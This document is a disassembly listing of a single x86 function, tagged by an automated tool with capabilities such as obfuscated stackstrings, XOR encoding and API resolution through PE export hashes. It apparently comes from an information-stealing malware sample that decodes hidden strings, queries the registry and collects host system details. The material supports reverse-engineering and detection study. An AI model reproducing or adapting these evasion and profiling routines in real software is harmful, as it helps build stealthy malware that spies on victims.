Function at 0x41a478
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x65c
push ebx
push ebp
push esi
xor ebx, ebx
mov dword [esp + 0x9c], 0x1717163e
push edi
mov dword [esp + 0xa4], 0x181e5918
mov eax, ebx
mov dword [esp + 0xa8], 0xb1c110d
mov dword [esp + 0xac], 0xa000a59
mov dword [esp + 0xb0], 0x59141c0d
mov dword [esp + 0xb4], 0x161f1710
mov dword [esp + 0xb8], 0xd18140b
mov dword [esp + 0xbc], 0x73171610
movups xmm0, xmmword [esp + eax + 0xa0]
pxor xmm0, xmmword [0x421020]
movups xmmword [esp + eax + 0x230], xmm0
add eax, 0x10
cmp eax, 0x20
jl 0x41a4de
mov byte [esp + 0x250], bl
mov ecx, ebx
mov dword [esp + 0x84], 0xd5ef05fe
mov dword [esp + 0x88], 0x32251e30
mov dword [esp + 0x8c], 0x1efbbfc2
mov dword [esp + 0x90], 0x1d51a21
mov dword [esp + 0x94], 0x29161824
mov dword [esp + 0x98], 0xef23241e
mov byte [esp + 0x9c], 0xd5
mov al, byte [esp + ecx + 0x84]
add al, 0x4b
mov byte [esp + ecx + 0x1dc], al
inc ecx
cmp ecx, 0x19
jl 0x41a551
mov byte [esp + 0x1f5], bl
mov ecx, ebx
mov dword [esp + 0x14], 0x94b2edea
mov dword [esp + 0x18], 0x86a99582
mov dword [esp + 0x1c], 0xc7dd828a
mov al, byte [esp + ecx + 0x14]
xor al, 0xe7
mov byte [esp + ecx + 0x14c], al
inc ecx
cmp ecx, 0xc
jl 0x41a588
mov dword [esp + 0x2c], 0xbbaebcbe
xorps xmm0, xmm0
mov dword [esp + 0x30], 0xaeb6aab7
xor eax, eax
movq xmm1, qword [esp + 0x2c]
mov ecx, ebx
punpcklbw xmm1, xmm0
psubw xmm1, xmmword [0x420f40]
pand xmm1, xmmword [0x420f50]
mov dword [esp + 0x3c], 0x4014dbde
mov dword [esp + 0x40], 0x4546413e
mov dword [esp + 0x44], 0x321f4336
mov dword [esp + 0x48], 0xf10b363e
movups xmm0, xmmword [esp + 0x3c]
mov byte [esp + 0x158], bl
movups xmmword [esp + 0x1c8], xmm1
mov word [esp + 0x1d8], ax
movaps xmm1, xmmword [0x420f90]
paddb xmm1, xmm0
mov byte [esp + 0x17c], bl
movups xmmword [esp + 0x16c], xmm1
mov dword [esp + 0x14], 0x6b767478
mov dword [esp + 0x18], 0x697e6f6e
mov dword [esp + 0x1c], 0x7e767a75
mov al, byte [esp + ecx + 0x14]
xor al, 0x1b
movzx eax, al
mov word [esp + ecx*2 + 0xa0], ax
inc ecx
cmp ecx, 0xc
jl 0x41a63a
xor eax, eax
mov dword [esp + 0xc0], 0x7b4f1619
mov word [esp + 0xb8], ax
mov ecx, ebx
mov dword [esp + 0xc4], 0x7e807a81
mov dword [esp + 0xc8], 0x872c4685
mov dword [esp + 0xcc], 0x7a817b6f
mov dword [esp + 0xd0], 0x89857e80
mov dword [esp + 0xd4], 0x7b581619
mov dword [esp + 0xd8], 0x75806d6f
mov dword [esp + 0xdc], 0x2c467a7b
mov dword [esp + 0xe0], 0x6f7b7887
mov dword [esp + 0xe4], 0x7b75806d
mov dword [esp + 0xe8], 0x1619897a
mov dword [esp + 0xec], 0x2c7c7566
mov dword [esp + 0xf0], 0x71707b6f
mov dword [esp + 0xf4], 0x86872c46
mov dword [esp + 0xf8], 0x7b6f7c75
mov dword [esp + 0xfc], 0x19897170
mov dword [esp + 0x100], 0x79756016
mov dword [esp + 0x104], 0x7a7b6671
mov dword [esp + 0x108], 0x872c4671
mov dword [esp + 0x10c], 0x71797580
mov dword [esp + 0x110], 0x717a7b86
mov dword [esp + 0x114], 0x54161989
mov dword [esp + 0x118], 0x46505563
mov byte [esp + 0x11c], 0x2c
mov al, byte [esp + ecx + 0xc0]
sub al, 0xc
mov byte [esp + ecx + 0x2c0], al
inc ecx
cmp ecx, 0x5d
jl 0x41a762
mov byte [esp + 0x31d], bl
mov ecx, ebx
mov dword [esp + 0x3c], 0x6634fbfe
mov dword [esp + 0x40], 0x5f566363
mov dword [esp + 0x44], 0x525d1165
mov dword [esp + 0x48], 0x5266585f
mov dword [esp + 0x4c], 0x112b5658
mov al, byte [esp + ecx + 0x3c]
add al, 0xf
mov byte [esp + ecx + 0x180], al
inc ecx
cmp ecx, 0x14
jl 0x41a7a9
mov byte [esp + 0x194], bl
mov ecx, ebx
mov dword [esp + 0x3c], 0x9282393c
mov dword [esp + 0x40], 0x9d9494a1
mov dword [esp + 0x44], 0x94a99882
mov word [esp + 0x48], 0x4f69
mov al, byte [esp + ecx + 0x3c]
sub al, 0x2f
mov byte [esp + ecx + 0x15c], al
inc ecx
cmp ecx, 0xe
jl 0x41a7e4
mov byte [esp + 0x16a], bl
mov ecx, ebx
mov dword [esp + 0x2c], 0x5a07165a
mov byte [esp + 0x30], 0x16
mov al, byte [esp + ecx + 0x2c]
xor al, 0x7f
movzx eax, al
mov word [esp + ecx*2 + 0x3c], ax
inc ecx
cmp ecx, 5
jl 0x41a80d
xor eax, eax
mov dword [esp + 0x14], 0xead59097
mov word [esp + 0x46], ax
mov edx, 0xff
mov dword [esp + 0x18], 0xeefbe8ff
mov ecx, ebx
mov dword [esp + 0x1c], 0xbaf4f5f3
mov dword [esp + 0x20], 0xeee9e3c9
mov dword [esp + 0x24], 0xbaa0f7ff
mov al, byte [esp + ecx + 0x14]
xor al, 0x9a
mov byte [esp + ecx + 0x198], al
inc ecx
cmp ecx, 0x14
jl 0x41a857
push 0x13
mov byte [esp + 0x1b0], bl
mov ecx, ebx
mov dword [esp + 0x54], 0x67596266
mov dword [esp + 0x58], 0x5865546a
mov dword [esp + 0x5c], 0x767c606f
mov dword [esp + 0x60], 0x82868285
mov dword [esp + 0x64], 0x6a6f8779
mov dword [esp + 0x68], 0x8277817c
mov dword [esp + 0x6c], 0x6133868a
mov dword [esp + 0x70], 0x88566f67
mov dword [esp + 0x74], 0x81788585
mov dword [esp + 0x78], 0x85786987
mov dword [esp + 0x7c], 0x81827c86
pop esi
movzx eax, byte [esp + ecx + 0x50]
sub ax, si
and ax, dx
mov word [esp + ecx*2 + 0xc0], ax
inc ecx
cmp ecx, 0x2c
jl 0x41a8ce
xor eax, eax
mov dword [esp + 0x2c], 0x99928fad
mov word [esp + 0x118], ax
mov ecx, ebx
mov dword [esp + 0x30], 0xb3899e88
mov word [esp + 0x34], 0x909c
mov byte [esp + 0x36], 0x98
mov al, byte [esp + ecx + 0x2c]
xor al, 0xfd
movzx eax, al
mov word [esp + ecx*2 + 0x1f8], ax
inc ecx
cmp ecx, 0xb
jl 0x41a90f
xor eax, eax
mov dword [esp + 0x50], 0x393e393e
push 0x13
mov word [esp + 0x212], ax
mov ecx, ebx
pop eax
mov dword [esp + 0x54], 0x5a524572
mov dword [esp + 0x58], 0x5f51525f
mov byte [esp + 0x5c], 0x56
mov byte [esp + 0x5d], al
mov dword [esp + 0x5e], 0x514a5678
mov dword [esp + 0x62], 0x5741525c
mov dword [esp + 0x66], 0x5c4a527f
mov dword [esp + 0x6a], 0x9404746
mov byte [esp + 0x6e], al
mov al, byte [esp + ecx + 0x50]
xor al, 0x33
mov byte [esp + ecx + 0x210], al
inc ecx
cmp ecx, 0x1f
jl 0x41a97a
mov byte [esp + 0x22f], bl
mov ecx, ebx
mov dword [esp + 0x14], 0x86898689
mov dword [esp + 0x18], 0xe0eeddc4
mov dword [esp + 0x1c], 0xe1eeddf3
mov dword [esp + 0x20], 0x899cb6ef
mov dword [esp + 0x24], 0xd1ccbf86
mov word [esp + 0x28], 0x9cb6
mov al, byte [esp + ecx + 0x14]
sub al, 0x7c
mov byte [esp + ecx + 0x1b0], al
inc ecx
cmp ecx, 0x16
jl 0x41a9c5
mov byte [esp + 0x1c6], bl
mov ecx, ebx
mov dword [esp + 0x14], 0x91909670
mov dword [esp + 0x18], 0x8b668a82
mov dword [esp + 0x1c], 0x8a8f8c83
mov dword [esp + 0x20], 0x8c86917e
mov dword [esp + 0x24], 0x95914b8b
mov byte [esp + 0x28], 0x91
movzx eax, byte [esp + ecx + 0x14]
sub ax, 0x1d
and ax, dx
mov word [esp + ecx*2 + 0x254], ax
inc ecx
cmp ecx, 0x15
jl 0x41aa0e
xor eax, eax
mov dword [esp + 0x14], 0x677d7640
mov word [esp + 0x27e], ax
mov ecx, ebx
mov dword [esp + 0x18], 0x606a6033
mov dword [esp + 0x1c], 0x337e7667
mov dword [esp + 0x20], 0x7c757d7a
mov dword [esp + 0x24], 0x67727e61
mov dword [esp + 0x28], 0x197d7c7a
mov al, byte [esp + ecx + 0x14]
xor al, 0x13
mov byte [esp + ecx + 0x50], al
inc ecx
cmp ecx, 0x18
jl 0x41aa64
lea eax, [esp + 0x230]
mov byte [esp + 0x68], bl
push eax
call fcn.004125f4
mov dword [esp], 0x2000
call fcn.0040570b
mov esi, eax
mov dword [esp + 0x30], 0x73707c49
xor eax, eax
mov dword [esp + 0x34], 0x6874276b
lea edi, [esp + 0x18]
mov dword [esp + 0x38], 0x27417279
stosd dword es:[edi], eax
pop ecx
mov ecx, ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov al, byte [esp + ecx + 0x2c]
sub al, 7
mov byte [esp + ecx + 0x13c], al
inc ecx
cmp ecx, 0xc
jl 0x41aab7
mov byte [esp + 0x148], bl
mov ecx, ebx
mov word [esp + 0x38], 0xc9cc
mov al, byte [esp + ecx + 0x38]
add al, 0x41
mov byte [esp + ecx + 0x7c], al
inc ecx
cmp ecx, 2
jl 0x41aada
lea eax, [esp + 0x13c]
mov byte [esp + 0x7e], bl
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x140]
lea ecx, [esp + 0x18]
call fcn.0041b87a
pop ecx
mov edi, str.tauru
push edi
call fcn.00405b40
pop ecx
push eax
mov edx, edi
lea ecx, [esp + 0x18]
call fcn.0041b87a
pop ecx
lea eax, [esp + 0x7c]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x80]
lea ecx, [esp + 0x18]
call fcn.0041b87a
pop ecx
lea eax, [esp + 0x1dc]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x1e0]
lea ecx, [esp + 0x18]
call fcn.0041b87a
pop ecx
mov ebp, 0x1000
xor ecx, ecx
push ebp
push esi
push ebx
mov edx, 0xe718270b
inc ecx
call fcn.00412ca7
call eax
test eax, eax
je 0x41ab8a
mov edx, esi
lea ecx, [esp + 0x14]
call fcn.0041b701
lea eax, [esp + 0x14c]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x150]
lea ecx, [esp + 0x18]
call fcn.0041b87a
pop ecx
push ebp
lea eax, [esp + 0x1cc]
xor ecx, ecx
push esi
mov edi, 0x1a52823b
inc ecx
push eax
mov edx, edi
call fcn.00412ca7
call eax
test eax, eax
je 0x41abd4
mov edx, esi
lea ecx, [esp + 0x14]
call fcn.0041b701
lea eax, [esp + 0x16c]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x170]
lea ecx, [esp + 0x18]
call fcn.0041b87a
pop ecx
push ebp
lea eax, [esp + 0xa4]
xor ecx, ecx
push esi
push eax
mov edx, edi
inc ecx
call fcn.00412ca7
call eax
test eax, eax
je 0x41ac19
mov edx, esi
lea ecx, [esp + 0x14]
call fcn.0041b701
lea eax, [esp + 0x2c0]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x2c4]
lea ecx, [esp + 0x18]
call fcn.0041b87a
pop ecx
call fcn.00419ecd
mov edi, eax
test edi, edi
je 0x41ac58
push edi
call fcn.00405b40
pop ecx
push eax
mov edx, edi
lea ecx, [esp + 0x18]
call fcn.0041b87a
pop ecx
lea eax, [esp + 0x180]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x184]
lea ecx, [esp + 0x18]
call fcn.0041b87a
pop ecx
push ebx
push 5
mov edx, 0x5b5926c8
pop ecx
call fcn.00412ca7
call eax
push ebp
push esi
movzx eax, ax
xor ecx, ecx
push 2
push eax
mov edx, 0x276dcf3
inc ecx
call fcn.00412ca7
call eax
test eax, eax
je 0x41acae
mov edx, esi
lea ecx, [esp + 0x14]
call fcn.0041b701
lea eax, [esp + 0x15c]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x160]
lea ecx, [esp + 0x18]
call fcn.0041b87a
pop ecx
push 1
mov edi, 0xa499d7b7
push 5
mov edx, edi
pop ecx
call fcn.00412ca7
call eax
push eax
push ebx
push 5
mov edx, edi
pop ecx
call fcn.00412ca7
call eax
push eax
lea eax, [esp + 0x44]
mov edx, 0xe3740fb6
push eax
push ebp
push esi
xor ecx, ecx
call fcn.00412ca7
call eax
add esp, 0x14
lea ecx, [esp + 0x14]
mov edx, esi
call fcn.0041b701
lea eax, [esp + 0x198]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x19c]
lea ecx, [esp + 0x18]
call fcn.0041b87a
mov dword [esp], 0x2000
lea eax, [esp + 0x1fc]
push esi
push eax
lea edx, [esp + 0xcc]
mov ecx, 0x80000002
call fcn.0041b689
add esp, 0xc
test al, al
je 0x41ae19
mov edx, esi
lea ecx, [esp + 0x14]
call fcn.0041b701
xor ecx, ecx
mov dword [esp + 0x2c], ebx
mov edx, 0xd226977
inc ecx
call fcn.00412ca7
mov edi, eax
test edi, edi
je 0x41ad97
lea eax, [esp + 0x2c]
xor ecx, ecx
push eax
mov edx, 0x24526977
inc ecx
call fcn.00412ca7
call eax
push eax
call edi
mov ecx, ebx
cmp dword [esp + 0x2c], ebx
je 0x41add7
mov dword [esp + 0x38], 0xc3c507af
mov al, byte [esp + ecx + 0x38]
add al, 0x71
mov byte [esp + ecx + 0x124], al
inc ecx
cmp ecx, 4
jl 0x41ada7
lea eax, [esp + 0x124]
mov byte [esp + 0x128], bl
push eax
call fcn.00405b40
lea edx, [esp + 0x128]
jmp 0x41ae0d
mov dword [esp + 0x38], 0xe1e0abf3
mov al, byte [esp + ecx + 0x38]
xor al, 0xd3
mov byte [esp + ecx + 0x12c], al
inc ecx
cmp ecx, 4
jl 0x41addf
lea eax, [esp + 0x12c]
mov byte [esp + 0x130], bl
push eax
call fcn.00405b40
lea edx, [esp + 0x130]
pop ecx
push eax
lea ecx, [esp + 0x18]
call fcn.0041b87a
pop ecx
lea eax, [esp + 0x210]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x214]
lea ecx, [esp + 0x18]
call fcn.0041b87a
pop ecx
push ebx
push ebx
mov ebp, 0xf2fdc9f0
push 5
mov edx, ebp
pop ecx
call fcn.00412ca7
call eax
mov edi, eax
test edi, edi
je 0x41af03
mov ecx, edi
shl ecx, 2
push ecx
call fcn.0040570b
mov dword [esp + 0x30], eax
pop ecx
test eax, eax
je 0x41af03
push eax
push edi
push 5
mov edx, ebp
pop ecx
call fcn.00412ca7
call eax
mov ebp, ebx
test edi, edi
je 0x41aef9
mov eax, dword [esp + 0x2c]
xor ecx, ecx
push 0x1000
push esi
push 2
movzx eax, word [eax + ebp*4]
mov edx, 0x276dcf3
push eax
inc ecx
call fcn.00412ca7
call eax
test eax, eax
je 0x41aef4
mov word [esp + 0x38], 0xa6a1
mov ecx, ebx
mov al, byte [esp + ecx + 0x38]
xor al, 0xac
mov byte [esp + ecx + 0x80], al
inc ecx
cmp ecx, 2
jl 0x41aeaf
lea eax, [esp + 0x80]
mov byte [esp + 0x82], bl
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x84]
lea ecx, [esp + 0x18]
call fcn.0041b87a
pop ecx
mov edx, esi
lea ecx, [esp + 0x14]
call fcn.0041b701
inc ebp
cmp ebp, edi
jb 0x41ae82
push dword [esp + 0x2c]
call fcn.004056f0
pop ecx
lea eax, [esp + 0x1b0]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x1b4]
lea ecx, [esp + 0x18]
call fcn.0041b87a
pop ecx
mov ecx, esi
call fcn.0041a3d8
test esi, esi
je 0x41af42
push esi
call fcn.00405b40
pop ecx
push eax
mov edx, esi
lea ecx, [esp + 0x18]
call fcn.0041b87a
pop ecx
push 1
lea eax, [esp + 0x324]
mov dword [esp + 0x324], 0x348
push eax
push ebx
push ebx
push 5
mov edx, 0xb154ff53
pop ecx
call fcn.00412ca7
call eax
test eax, eax
je 0x41afcc
mov dword [esp + 0x2c], 0xf6e1acab
mov ecx, ebx
mov word [esp + 0x30], 0x9cf3
mov byte [esp + 0x32], 0x86
mov al, byte [esp + ecx + 0x2c]
xor al, 0xa6
mov byte [esp + ecx + 0x134], al
inc ecx
cmp ecx, 7
jl 0x41af82
lea eax, [esp + 0x134]
mov byte [esp + 0x13b], bl
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x138]
lea ecx, [esp + 0x18]
call fcn.0041b87a
pop ecx
lea edx, [esp + 0x364]
lea ecx, [esp + 0x14]
call fcn.0041b701
lea eax, [esp + 0x280]
mov dword [esp + 0x280], 0x40
xor ecx, ecx
mov edx, 0x7065a9c4
push eax
inc ecx
call fcn.00412ca7
call eax
test eax, eax
je 0x41b071
push 0x13
pop eax
mov word [esp + 0x2c], 0x585f
mov byte [esp + 0x2e], bl
mov byte [esp + 0x2f], al
mov dword [esp + 0x30], 0x7772681f
mov word [esp + 0x34], 0x3e27
mov byte [esp + 0x36], 0x3e
mov al, byte [esp + ebx + 0x2c]
xor al, 0x52
movzx eax, al
mov word [esp + ebx*2 + 0x84], ax
inc ebx
cmp ebx, 0xb
jl 0x41b018
push dword [esp + 0x28c]
xor eax, eax
mov edx, 0xe3740fb6
push dword [esp + 0x28c]
mov word [esp + 0xa2], ax
xor ecx, ecx
lea eax, [esp + 0x8c]
push eax
push 0x1000
push esi
call fcn.00412ca7
call eax
add esp, 0x14
lea ecx, [esp + 0x14]
mov edx, esi
call fcn.0041b701
mov edx, dword [esp + 0x1c]
lea eax, [esp + 0x254]
mov ecx, dword [esp + 0x14]
push eax
call fcn.00418be5
pop ecx
lea eax, [esp + 0x50]
push eax
call fcn.004125f4
pop ecx
push esi
call fcn.004056f0
pop ecx
push dword [esp + 0x14]
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x65c
ret